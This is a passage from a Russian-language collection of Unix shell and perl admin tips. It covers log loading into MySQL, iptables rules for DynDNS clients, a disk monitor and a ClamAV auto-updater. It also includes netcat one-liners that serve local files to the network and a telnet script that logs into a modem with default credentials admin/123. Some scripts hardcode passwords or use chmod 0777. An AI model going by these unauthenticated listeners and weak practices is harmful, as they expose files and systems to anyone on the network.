    задействования переменных.
    
    Например, для замены поля "From:" в тексте email можно использовать:
    
       perl -lape 's/(^From:).*/$1 Nelson Elhage <nelhage\@ksplice.com>/'
    
    Который можно свести к
    
       perl -lape 's/^From:\K.*/ Nelson Elhage <nelhage\@ksplice.com>/'
    
    уточнив, что мы не хотим заменять начало строки.
    
    Хэш %ENV
    
    К любой переменной системного окружения можно получить доступ через хэш %ENV,
    что можно использовать для выполнения операций с одинарными кавычками,
    использованию которых мешают проблемы с экранированием данного символа в shell.
    
    Для задачи вывода имен пользователей, содержащих апостроф можно использовать:
    
       perl -F: -lane 'print $F[0] if $F[4] =~ /'"'"'/' /etc/passwd
    
    но считать кавычки задача неприятная, поэтому данную строку можно свести к:
    
       env re="'" perl -F: -lane 'print $F[0] if $F[4] =~ /$ENV{re}/' /etc/passwd
    
     
    Конструкции "BEGIN" и "END"
    
    Блоки BEGIN { ... } и END { ... } позволяют организовать выполнение кода до и
    после цикличной обработки строк файла.
    Например, для подсчета суммы второго столбца в CSV файле можно использовать:
    
       perl -F, -lane '$t += $F[1]; END { print $t }'
    
    Опция "-MRegexp::Common"
    
    Через указание опции "-M" можно загрузить любой дополнительный perl-модуль. В
    однострочных скриптах удобно использовать модуль Regexp::Common, содержащий
    коллекцию типовых регулярных выражений для обработки различных видов данных.
    Например, для разбора вывода команды ifconfig можно использовать готовые маски
    для определения IP-адресов:
    
       ip address list eth0 | \
          perl -MRegexp::Common -lne 'print $1 if /($RE{net}{IPv4})/'
    
     
    ----* Поиск "проблемных" бинарников в системе   Автор: Карбофос  [комментарии]
     
    Если в системе по каким-то причинам есть бинарные файлы, а нет внешних
    библиотек к ним, то этот скрипт поможет достаточно просто найти такие файлы:
    
       #!/bin/bash
       # скрипт для поиска проблемных файлов
       # список директорий для поиска
       directory=("/usr/bin/" "/usr/sbin/" "/bin/" "/usr/lib/" "/usr/lib64/")
       toreplace="=> not found"
    
       # Loop through our array.
       for x in ${directory[@]}
       do
         # Find all Files
         # for i in $(find $x -type f -executable)
         for i in $(find $x -type f)
         do
         # если ldd выдает ошибку "not found".. 
         n=`ldd "$i" | grep found 2>/dev/null`
         if [ -n "$n" ]; then
         #  echo $i " not found lib: " $n
         #  с небольшой корректировкой, выкидываем "=> not found"
            echo "$i  not found lib(s): $n" | sed "s/$toreplace//g"
         fi
         done
       done
    
     
    ----* Как избавиться от телнета на модемах для сети СТРИМ   Автор: BlackRu  [комментарии]
     
    Не все знают, что в некоторых модемах, которые в свое время предлагала компания
    Точка.ру (СТРИМ) установлен Linux,
    с работающим телнетом и возможностью входа тех. поддержки.  
    
    Если мы не хоти пускать поддержку к себе - ни через
    телнет, ни веб-интерфейс, делаем скрипт автоматического входа и завершения
    работы telnet, чтобы был доступен только
    веб-вход. 
    
    Скрипт написан с учетом работы модема ZTE ZXDSL 831 без использования expect.
    На модеме не доступны многие команды, включая  pkill -HUP telnetd, но доступна
    команда kill - по id процесса, чего вполне достаточно. Единственным минусом
    является лишь длительность выполнения скрипта из-за повторного входа, так как
    выяснять, какой ID у процесса telnetd придется уже на своем компьютере,
    но без лишних слов - к делу.
    
    
      #!/bin/sh
      (
        sleep 1
        echo "admin"
        sleep 1
        echo "123"
        sleep 1
        echo "sh"
        sleep 1
        echo "ps"
        sleep 1
        ) | telnet 192.168.1.1 23&>/home/user/file1;
    
       grep telnetd /home/user/file1 | awk '{ print $1 }' > /home/user/file2
       cat /home/user/file2
       k=$(cat /home/user/file2)
    
       (
        sleep 1
        echo "admin"
        sleep 1
        echo "123"
        sleep 1
        echo "sh"
        sleep 1
        echo  "kill $k"
        sleep 1
        ) | telnet 192.168.1.1 23
    
    P.S. Первый процесс всегда серверный, что сильно упрощает работу.
    
     
    ----* Сохранение версий небольших проектов (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Допустим Вы пишете скрипт или маленький проект из нескольких файлов.
    Соответственно возникает желание периодически
    сохранять результат своих трудов, чтобы в случае необходимости откатиться на шаг или два назад. 
    Для крупного проекта идеально подойдет система контроля версий, а для маленькой
    задачи подойдет и небольшой shell-скрипт.
    
    Для начала использования скрипта достаточно:
    - переименовать save.sh в просто save - для удобства набора в терминале
    - разместить его где-нибудь в пределах охвата переменной окружения $PATH (тоже для удобства)
    - определить в начале скрипта переменной SAVEDIR путь к желаемой директории хранения файлов
    
    Вот этот shell-скрипт:
    
       #!/bin/sh
    
       SAVEDIR="${HOME}/save"   # where save backups
       LIMIT_BYTES=1048576      # set 1Mb limit
    
       SCRIPT="save"
       VERSION="20090903"
    
       if test "${1}"
       then
          echo "${SCRIPT} version ${VERSION}" >&2
          echo "Saves backup of whole current directory" >&2
          exit 1
       fi
    
       err()
       {
          echo "${SCRIPT}: ERROR: ${1}" >&2
          exit 1
       }
    
       #### check save directory
       test -d "${SAVEDIR}" || mkdir "${SAVEDIR}" 2>/dev/null
       test -d "${SAVEDIR}" || err "failed to create directory: ${SAVEDIR}"
    
       #### check size
       DIR="$(basename $(pwd))"
       DIR_SIZE_BYTES=$(du -s . | awk '{print $1}')
       test ${DIR_SIZE_BYTES} -gt ${LIMIT_BYTES} && err "size (${DIR_SIZE_BYTES}) of ${DIR} is greater than limit of ${LIMIT_BYTES}"
    
       #### saving
       cd .. || err "FAILED"
       tar cpzf "${SAVEDIR}/${DIR}.$(date +%Y%m%d%H%M%S).tar.gz" "${DIR}" || err "failed to create archive"
       echo "saved: ${DIR}"
    
    Например, Вы пишете какой-то хороший ценный скрипт, соответственно предполагаем
    что у Вас открыт терминал
    и рабочей директорией является каталог с разрабатываемым скриптом или документов:
    
       $ pwd
    
       /home/user/tmp/mysmallproject
    
       $ ls -l
       
       итого 12
       -rwxr-xr-x 1 user users 895 2009-09-08 00:52 project.c
       -rwxr-xr-x 1 user users 170 2009-09-08 00:52 project.h
       -rwxr-xr-x 1 user users 865 2009-09-08 00:48 project.sh
    
    Тогда для создания бэкапа просто наберите "save":
    
       $ save
       saved: mysmallproject
    
    Все, копия файлов сохранена. Посмотрим на нее:
    
       $ ll /home/user/save/my*
       -rw-r--r-- 1 user users 1,1K 2009-09-08 00:54 /home/user/save/mysmallproject.20090908005453.tar.gz
    
    Видим что скрипт в указанной директории создает архив текущего рабочего каталога и в имени архива 
    дата до секунд. Это удобно, архивы аккуратно выстраиваются по дате.
    
    В скрипте еще предусмотрена переменная LIMIT_BYTES, значение которой
    ограничивает максимальный размер
    текущей директории (рекурсивно, до архивирования). Это для того чтобы случайно
    не архивировать что-то крупное.
    
     
    ----* Автоматическое изменение правил IPTABLES для IP адресов из записей DynDNS (доп. ссылка 1)   Автор: zaikini  [комментарии]
     
    Возникла задача предоставить сервис для клиентов, использующих внешние динамические адреса. 
    Доступ к сервису ограничен правилами IPTABLES.
    
    Клиентам, которым необходимо получить услугу предлагается создать учетную
    запись на ресурсе dyndns.org,
    клиент получит доменное имя в виде client.dyndns.org.
    
    При каждом изменении ip адреса клиента мы всегда узнаем его адрес по доменному
    имени. Если мы добавим
    правило в iptables для этого доменного имени, правило будет работать только для
    текущего  ip адреса клиента
    и при последующем изменении ip адреса, доступ к сервису будет ограничен.
    
    Оригинал решения был найден здесь:
    http://dave.thehorners.com/content/view/86/65/ , а мы всего лишь доработаем
    этот скрипт.
    
    Создаем несколько каталогов:
    
       /root/dynhosts/ - общий каталог
       /root/dynhosts/zones/ - здесь будем хранить файлы доменных зон клиентов
       /root/dynhosts/logs/ - лог файлы работы скрипта
       /root/dynhosts/scripts/ - здесь будет находится сам запускаемый скрипт
    
    Создаем лог-файл:
    
       touch /root/dynhosts/logs/dynhosts.log
    
    Создаем файл зоны клиента:
    
       touch /root/dynhosts/zones/client.dyndns.org
    
    Создаем сам скрипт /root/dynhosts/scripts/firewall-dynhosts.sh
    
    
       #!/bin/bash
       #
       # filename: firewall-dynhosts.sh
       #
       NOW=$(date)
       CHAIN="dynamichosts"  # change this to whatever chain you want.
       IPTABLES="/sbin/iptables"
       
       # create the chain in iptables.
       $IPTABLES -N $CHAIN
       # insert the chain into the input chain @ the head of the list.
       $IPTABLES -I INPUT 1 -j $CHAIN
       # flush all the rules in the chain
       $IPTABLES -F $CHAIN
      
       FILES=`ls --format=single-column /root/dynhosts/zones/`
       
       echo $FILES
      
       for file in $FILES
       do
          HOSTFILE="/root/dynhosts/zones/$file"
          echo $HOSTFILE
    
          # lookup host name from dns tables
          IP=`/usr/bin/dig +short $file | /usr/bin/tail -n 1`
          if [ "${#IP}" = "0" ]; then
             echo "$NOW Couldn't lookup hostname for $file, failed." >> /root/dynhosts/logs/dynhosts.log
    
             continue
          fi
     
          OLDIP=""
          if [ -a $HOSTFILE ]; then
             OLDIP=`cat $HOSTFILE`
             echo "CAT returned: $?"
          fi
    
          # save off new ip.
          echo $IP>$HOSTFILE
    
          echo "Updating $file in iptables."
          echo "Inserting new rule ($IP)"
          $IPTABLES -A $CHAIN -s $IP/32 -j ACCEPT
    
       done
       exit0
    
    Запускаем скрипт:
    
       /root/dynhosts/scripts/firewall-dynhosts.sh
    
       iptables: Chain already exists
       client.dyndns.org
       CAT returned: 0
       Updating client.dyndns.org in iptables.
       Inserting new rule (213.64.141.6)
    
    Проверяем,
    
       cat /root/dynhosts/zones/client.dyndns.org
       213.64.141.6
    
       /sbin/iptables -nL dynamichosts
    
       Chain dynamichosts
       target     prot opt source               destination
       ACCEPT     all  -  213.64.141.6         0.0.0.0/0
    
    Если такого доменного имени не существует в /root/dynhosts/logs/dynhosts.log
    была бы запись следующего содержания:
    
       Tue Aug 25 09:47:15 MSD 2009 Couldn't lookup hostname for client.dyndns.org, failed.
    
    После того как контракт с клиентом истек достаточно удалить файл его зоны из /root/dynhosts/zones/.
    
    Осталось добавить выполнение скрипта в крон.
    
     
    ----* Массовая конвертация имен файлов и каталогов в другую кодировку (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Если имена большой группы файлов и каталогов не в 7-битной ASCII-кодировке (латиница), 
    то при их переносе между операционными системами с разными локальными кодировками могут возникнуть 
    сложности - нечитаемые знаки вместо привычных имен файлов. Одним из возможных
    решений будет использование
    нижеописанного shell-скрипта, которым можно рекурсивно переконвертировать имена сколь 
    угодно большой группы каталогов и файлов из одной кодировки в другую (не боится пробелов в именах):
    
    #!/bin/sh
    # Script for bulk recode files and directories names
    # to another encodings.
    #
    # Usage:
    #    $ brecode.sh <source_dir> <new_dir>
    #
    
    # source encoding. If commented out, then current locale is used
    #RECODE_FROM="UTF8"
    
    # target encoding (mandatory)
    RECODE_TO="CP1251"
    
    #### error function
    err()
    {
        echo >&2
        echo "$(basename ${0}): error: ${1}" >&2
        echo "exit" >&2
        echo >&2
        exit 1
    }
    
    #### check arguments
    if test "x${1}" = "x"
    then err "no arguments specified"
    elif ! test -d "${1}"
    then err "directory '${1}' not found"
    elif test "x${2}" = "x"
    then err "source directory not specified"
    elif test -e "${2}"
    then err "object '${2}' already exists"
    fi
    
    #### check utilities
    for U in find iconv
    do which ${U} >/dev/null || err "${U} utility not found"
    done
    
    #### recode  & copy
    find "${1}" | while read S
    do
        if test ${RECODE_FROM}
        then N="${2}/$(echo ${S} | iconv -f ${RECODE_FROM} -t ${RECODE_TO})"
        else N="${2}/$(echo ${S} | iconv -t ${RECODE_TO})"
        fi
    
        if test -d "${S}"
        then mkdir -p "${N}" || err "mkdir failed"
        else cp "${S}" "${N}" || err "cp failed"
        fi
    done
    
     
    ----* Определение количества дней в месяце в bash скрипте   Автор: Брызгалов Константин  [комментарии]
     
    В функции решается задача как определить количество дней в месяце:
    Необязательные параметры [месяц [год]]
    
     days_in_month(){ 
      [ "$#" == "2" ] && date -d "$1/01/$2 +1month -1day" +%d
      [ "$#" == "1" ] && days_in_month $1 `date +%Y`
      [ "$#" == "0" ] && days_in_month `date +'%m %Y'`
     }
    
    Или, - односторчник - если нужно узнать количество дней в текущем месяце
       date -d  "`date +'%m/01'`+1month -1day" +%d
    
     
    ----* Пример функции математической разности float-чисел в обход bc   Автор: Alexander Driantsov  [комментарии]
     
    function math_minus {
       num1_point=$(echo $1|sed 's/.*\..*/true/');
       num2_point=$(echo $2|sed 's/.*\..*/true/');
       if [ $num1_point = "true" ]; then
          num1_1=$(echo $1|sed 's/\..*$//');
          num1_2=$(echo $1|sed 's/^.*\.//');
       else
          num1_1=$1;num1_2=0;
       fi; if [ $num2_point == "true" ]; then
          num2_1=$(echo $2|sed 's/\..*$//');
          num2_2=$(echo $2|sed 's/^.*\.//');
       else
          num2_1=$2;num2_2=0;
       fi
       num1_2_len=${#num1_2}
       num2_2_len=${#num2_2}
       if [ $num1_2_len -lt $num2_2_len ]; then
          len_diff=$((num2_2_len-num1_2_len))
          for i in `seq 1 $len_diff`; do
              diff_nulls="${diff_nulls}0"
          done
          num1_2="${num1_2}$diff_nulls"
       fi; if [ $num1_2_len -gt $num2_2_len ]; then
          len_diff=$((num1_2_len-num2_2_len))
          for i in `seq 1 $len_diff`; do
              diff_nulls="${diff_nulls}0"
          done
          num2_2="${num2_2}$diff_nulls"
       fi
    
       if [ $num1_1 -gt $num2_1 ]; then
          num1=$((num1_1-num2_1));
       fi
       if [ $num2_1 -gt $num1_1 ]; then
          num1=$((num2_1-num1_1));
       fi
       num1_len=${#num1}
       num2_len=$((num1_len+1))
       num1="${num1}${num1_2}"
       num2="${num2}${num2_2}"
       if [ $num1 -gt $num2 ]; then
          result=$((num1-num2))
       else
          result=$((num2-num1))
       fi
    
       num1=${result:0:num1_len}
       num2=${result:num2_len}
       result="${num1}.${num2}"
       if [ "$result" == "." ]; then
         result=0
       fi
       echo "$result"
    }
    
    
    Выше превиденный пример является концептуальной демонстрацией, 
    в скриптах для выполнения сложных матеметических операций более подходит bc:
    
    echo "scale=5; a=4.1; (a+80)*3 - a^2 + l(a)" | bc -l
    
    где через scale задается точность в знаках после запятой, 
    l() - натуральный логарифм, "^" - возведение в степень.
    Возможности языка bc очень широки, поддерживаются циклы, условия, функции
    
    Другая форма использования:
     var1=2; var2=$(echo "scale=5; $var2 / 2" | bc)
    
    Для преобразования формата представления чисел удобно использовать утилиту dc
    Перевод числа 11 в шестнадцатеричную форму:
       echo "11 16 o p" | dc
    в двоичную
       echo "11 2 o p" | dc
    
    Выполнения простых целочисленных операций:
       echo $(( 20 / 2 ))
       var1=2; var2=$(( $var1 + 1 ))
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
        chmod 0777 $nld/prepare.log && \
        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* HTTP сервер на BASH (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    1001-й способ поделиться файлом с коллегами: с помощью простенького HTTP-сервера, 
    
    код которого умещается в одной строке:
    
    :;while [ $? -eq 0 ];do nc -vlp 8080 -c'(r=read;e=echo;$r a b c;z=$r;while [
    ${#z} -gt 2 ];do $r z;done;
    f=`$e $b|sed 's/[^a-z0-9_.-]//gi'`;h="HTTP/1.0";o="$h 200
    OK\r\n";c="Content";if [ -z $f ];then($e $o;ls|(while $r n; do if [ -f "$n" ];
    then $e "<a href=\"/$n\">`ls -gh $n`</a><br>";fi;done););elif [ -f $f ];
    then $e -e "$o$c-Type: `file -ib $f`\n$c-Length: `stat -c%s $f`\n";cat $f;
    else $e -e "$h 404 Not Found\n\n404\n";fi)';done
    
    Этот сервер заработает на Linux, bash и с хоббитовским netcat с патчем sh-c (добавляющим опцию -c, 
    такой netcat есть во многих дистрибутивах, как минимум: в ubuntu, debian и fedora core). 
    После запуска следует зайти по адресу http://ваш_ip:8080. 
    
    При запросе корневой директории будет выведен список файлов, при запросе файла 
    будут отданы корректные заголовки Content-Length и Content-Type. Также сервер корректно 
    обрабатывает ошибку 404. Просматривать можно содержимой только текущей директории 
    и сменить ее никак нельзя.
    
    Подробнее про него можно почитать на http://alexey.sveshnikov.ru/blog/2007/08/30/bash-httpd-2/
    
     
    ----* Пример мониторинга свободного места на диске.   Автор: Hamelion  [комментарии]
     
    Наверное, все встречались, когда на том или ином разделе жесткого диска места уже нет. А
     иногда и просто забываешь проконтролировать место на диске. 
    Данный скрипт написан по принципу настроил и забыл.
    
    #!/bin/sh
    address="root@localhost";
    cicl="2 3 4 5 6";
    # выставляем в процентах порог заполненного места для каждого раздела, 
    # при котором отсылается сообщение
    predel[2]=80;	# /
    predel[3]=80;	# /usr
    predel[4]=60;	# /var
    predel[5]=80;	# /tmp
    predel[6]=80;	# /home
    varning="0";
    
    count=0;
    df -h > /tmp/tmp_df;
    while read -r FS S Ud A U MO; do
    	let count+=1;
    	FileSystem[$count]=$FS; 
    	Size[$count]=$S;
    	Used[$count]=$Ud;
    	Avail[$count]=$A;
    	Use[$count]=$U;
    	MountedOn[$count]=$MO;
    	NUse[$count]=${Use[$count]%"%"};
    done < /tmp/tmp_df;
    table="";
    for c in $cicl; do
    	if [[ ${NUse[$c]} -ge ${predel[c]} ]]; then
    		varning="1";
      table=$table"\n${FileSystem[$c]} \t${Size[$c]} \t${Used[$c]} \t${Avail[$c]}
    \t${Use[$c]} \t${MountedOn[$c]}";
    	fi
    done
    		shapka="\nFileSystem \tSize \tUsed \tAvail \tUse \tMounted On";
    		body="Regard admin, please check, place on disk:"$shapka$table;
    		#echo -e $body;
    if [ $varning -eq "1" ]; 
        then 
    	echo -e $body | mail -s"Warning on server" $address;
    	logger -i -p cron.warn -t dfmonitor "Send warning to $address";
        else
    	logger -i -p cron.info -t dfmonitor " Place on disk in rate";
    fi
    
    
    P.S. записать в cron строчку: 
    
       20 5 * * * /sbin/dfmonitor, 
    
    с утра приходим и получаем отчет :-)
    
     
    ----* Быстрая передача файла через псевдо-HTTP   Автор: mahoro  [комментарии]
     
    Когда есть необходимость передать файл с одной машины на другую, 
    а под рукой нет общедоступных ресурсов, можно сделать так:
    
        nc -l -p 8080 < file
    или
        netcat -l 8080 < file
    
    на клиенте достаточно в браузере набрать http://192.168.0.123:8080
    
    Собственно, все. Впрочем, если получатель - блондинка, которая не знает команды
    File-Save, можно написать так:
    
       (echo -e "HTTP/1.1 200\nContent-Disposition: attachment; 
       filename=gena_na.png\nContent-Type: application/octet-
       stream\nConnection: close\n"; cat vim_mrxvt.png ) | nc -vv -l -p 8080
    
    Но это еще не все. Можно дать доступ к целой директории, написав простой HTTP сервер в одной строке:
    
       while true; do nc -vv -l -p 8080 -c '( read a b c; file=`echo $b | sed 's/[^a-z0-9.]//g'`; 
       if [ a$file = "a" ]; then ( ls | (while read f; do echo "<a href=$f>$f</a><br>"; done) ); 
       else cat $PWD/$file; fi )'; sleep 1; done
    
    Этот скрипт отдает все файлы, которые есть в текущем каталоге и не позволяет его сменить. 
    В случае, если запрашивается корневая директория, то управление передается 
    своеобразному mod_index - т.е. выводится список файлов-ссылок. В конце добавлена задержка в 1 сек 
    для того, чтобы была возможность убить его нажатием Ctrl-C.
    
    См. подробнее http://alexey.sveshnikov.ru/blog/2006/12/23/http-сервер-размером-в-222-байта/
    
     
    ----* Реализация команды top на Shell   Автор: rstone  [комментарии]
     
    Должно работать на любом терминале поддерживающем VT Escape 
    последовательности, проверено в Linux, True64 ,  HP-UX  и Соларисе .
    
    #!/bin/ksh
    SLEEP=$1
    FIELD=$2
    [ -z "$1" ] && SLEEP=10 
    [ -z "$2" ] && FIELD=1
    stty_save=`stty -g`
    trap "stty $stty_save ; exit; " 2 
    stty sane
    clear
    lines=`tput lines`
    lines=$((lines-5))
    DATE=`date '+%H:%M:%S'`
    echo "\t\t`tput rev``hostname` TOP $lines PROCESESS at $DATE every $SLEEP seconds`tput sgr0`"
    tput bold
    case `uname` in
            Linux)  PS_COMMAND="ps -e -o pcpu= -o cputime= -o user= -o uid= -o pid= -o pmem= -o rssize= -o comm="
                    HEADER_COMMAND="ps f  -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
            HP-UX)  UNIX95=1
                    export UNIX95
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o vsz= -o sz= -o comm="
                    HEADER_COMMAND="ps -p $$ -o pcpu,time,user,uid,pid,vsz,sz,comm"
                    ;;
            SunOS)  HEADER_COMMAND="ps -f -p $$ -o pcpu,time,user,uid,pid,pmem,rss,comm"
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o pmem= -o rss= -o comm="
                    ;;
    
            *)      PS_COMMAND="ps -ef -o pcpu=,cputime=,user=,uid=,pid=,pmem=,rssize=,comm="
                    HEADER_COMMAND="ps -f -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
    esac
    $HEADER_COMMAND | head -1
    tput sgr0
    while [ true ] ; do 
            tput cup 2 0
            tput ed
            $PS_COMMAND | sort -r -n -k"$FIELD"  | head -$lines 
            sleep $SLEEP
    done
    
     
    ----* Автоматизация обновления антивируса ClamAV   Автор: Дима  [комментарии]
     
    Возможно поможет кому-то. Разместив в кроне, можно забыть о ручном обновлении, 
    скрипт проверит базы, при необходимости загрузит и соберет обновленную 
    версию и обновит демоны.
    
    #!/bin/bash
    #
    # ClamAV auto update routine
    #
    # Define system variables
    #
    DESTPATH="/usr/src"
    TOREPORT="root"
    OK="Ok"
    NO="Failed"
    echo >> /var/log/`basename $0`.log
    #
    # Functions library: logger stores all the events in a log file,
    # reporter emails error events to admin
    #
    function logger () {
        if [ "$1" != "n" ]; then
    	DATA="$1"
    	CMD=""
        else
    	DATA=`date +"%b %d %H:%M:%S $2"`
    	CMD="-ne"
        fi
        echo $CMD "$DATA" >> /var/log/`basename $0`.log
    }
    function reporter () {
        echo "Error $1 in `basename $0`" | mail -s "`basename $0` reporting error" $TOREPORT
        quit
    }
    #
    # Check for presence of a link to internet, need to prevent dns errors reporting by syslogd
    #
    logger n "Check for link to clamav.net: "
    IPADDR=`host clamav.net | grep address | cut -d " " -f 4`
    if [ "$IPADDR" != "" ]; then
        #
        # Check availability of the node
        #
        PINGER=`ping -c 1 $IPADDR | grep received | cut -d " " -f 4`
        if [ $PINGER == 1 ]; then
    	logger "$OK"
        else
    	logger "$NO"
    	reporter 1
        fi
    else
        logger "$NO"
        reporter 2
    fi
    #
    # Run database updater:
    #
    VERSION=`freshclam | grep "WARNING: Local" | cut -d " " -f 7`
    #
    # If warning message present, check for presence of tarball
    #
    if [ "$VERSION" != "" ]; then
        logger n "Checking presence of tarball: "
        if [ ! -e $DESTPATH/clamav-$VERSION.tar.gz ]; then
    	logger "$NO"
    	logger n "Fetching mirrors list: "
    	#
    	# No tarball found, start fetching subroutine
    	# First of all, get the mirrors list
    	#
    	MIRROR=( $(wget -q http://prdownloads.sourceforge.net/clamav/clamav-$VERSION.tar.gz?download \
       -O /dev/stdout | grep "use_mirror" | cut -d "=" -f 3 | sed -r "s/<[^>]*>//g" | cut -d "\"" -f 1))
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 3
    	else
    	    logger "${#MIRROR[@]} nodes available"
    	fi
    	#
    	# To prevent overloading of the first node in a mirrors list, select random from the list
    	#
    	NODE=$RANDOM
    	let "NODE %= ${#MIRROR[@]}"
    	logger n "Downloading v$VERSION from ${MIRROR[$NODE]} ($NODE): "
     wget -q -c -t 5
    http://${MIRROR[$NODE]}.dl.sourceforge.net/sourceforge/clamav/clamav-$VERSION.tar.gz \
    -O $DESTPATH/clamav-$VERSION.tar.gz >/dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 4
    	else
    	    logger "$OK"
    	fi
        else
    	logger "$OK"
        fi
        #
        # Now tarball must be present, and we have to check it's condition
        #
        logger n "Checking tarball condition: "
        gzip -l $DESTPATH/clamav-$VERSION.tar.gz > /dev/null 2>&1
        if [ $? != 0 ]; then
    	logger "$NO"
    	#
    	# If we got an error message in checking of a tarball,
    	# erase it, and next time try to download fresh one
    	#
    	rm -f $DESTPATH/clamav-$VERSION.tar.gz
    	reporter 5
        else
    	logger "$OK"
    	cd $DESTPATH/
    	logger n "Unpacking: "
    	#
    	# Ok, gzip reported that's tarball is ok, now unpacking it
    	#
    	tar -xzf clamav-$VERSION.tar.gz >/dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 6
    	else
    	    logger "$OK"
    	fi
    	logger n "Configuring: "
    	cd $DESTPATH/clamav-$VERSION
    	#
    	# Below are standard procedures of configuring, assembling and installing of the package
    	#
    	./configure > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 7
    	else
    	    logger "$OK"
    	fi
    	logger n "Compiling: "
    	make > /dev/null
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 8
    	else
    	    logger "$OK"
    	fi
    	logger n "Installing: "
    	make install > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 9
    	else
    	    logger "$OK"
    	fi
    	logger n "Check old daemon: "
    	#
    	# Now we have to swap old smtpd daemon to new
    	# If old daemon is preset - kill'em
    	#
    	PID=`ps -eo pid,comm | grep clamd | sed -r "s/^\ //" | cut -d " " -f 1`
    	if [ "$PID" != "" ]; then
    	    logger "$OK"
    	    logger n "Killing old daemon ($PID): "
    	    kill -9 $PID
    	    if [ $? != 0 ]; then
    		logger "$NO"
    		reporter 10
    	    else
    		logger "$OK"
    	    fi
    	else
    	    logger "$NO"
    	fi
    	logger n "Starting new daemon: "
    	#
    	# Now memory is clear from old daemon and we're running the new one
    	#
    	/usr/local/sbin/clamd & > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 11
    	else
    	    logger "$OK"
    	fi
    	#
    	# Arter all of these, we have to run database updater again
    	#
    	logger n "Checking for newer database: "
    	freshclam > /dev/null 2>&1
    	if [ $? != 1 ]; then
    	    logger "$NO"
    	    reporter 12
    	else
    	    logger "$OK"
    	fi
    	#
    	# At this stage, we have new antivirus installed, databases are up to date
    	# and ready to protect our system
    	#
        fi
    else
        logger n "ClamAV is up to date"
        logger ""
    fi
    #
    # I did not find any benefits to run freshclam in a daemon mode using switch -d.
    # Running once for a 4, 6 or whatever hours, it takes system resources for 24 hours, 7 days
    # I think better is to use this script and run it with cron daemon (crontab) as
    a foreground process
    # within the same time range
    #
    # Dima.
    
     
    ----* Автоматизация послеустановочной настройки MySQL   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # mysql-after-setup
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    # Version: 1.4
    #
    # Run script after install MySQL to do:
    # 1. Drop database 'test'
    # 2. Set MySQL root password
    # 3. Delete all users and access except root@localhost
    #
    
    # tty echo off
    stty -echo
    
    # enter correct password
    while true
    do
        echo -n "Enter password: " && read pass1 && echo
        echo -n "Re-enter password: " && read pass2 && echo
        [ "${pass1}" = "${pass2}" ] && break
        echo " *** Error!"
    done
    
    # tty echo on
    stty echo
    
    echo "drop database test; delete from db where db like '%test%';\
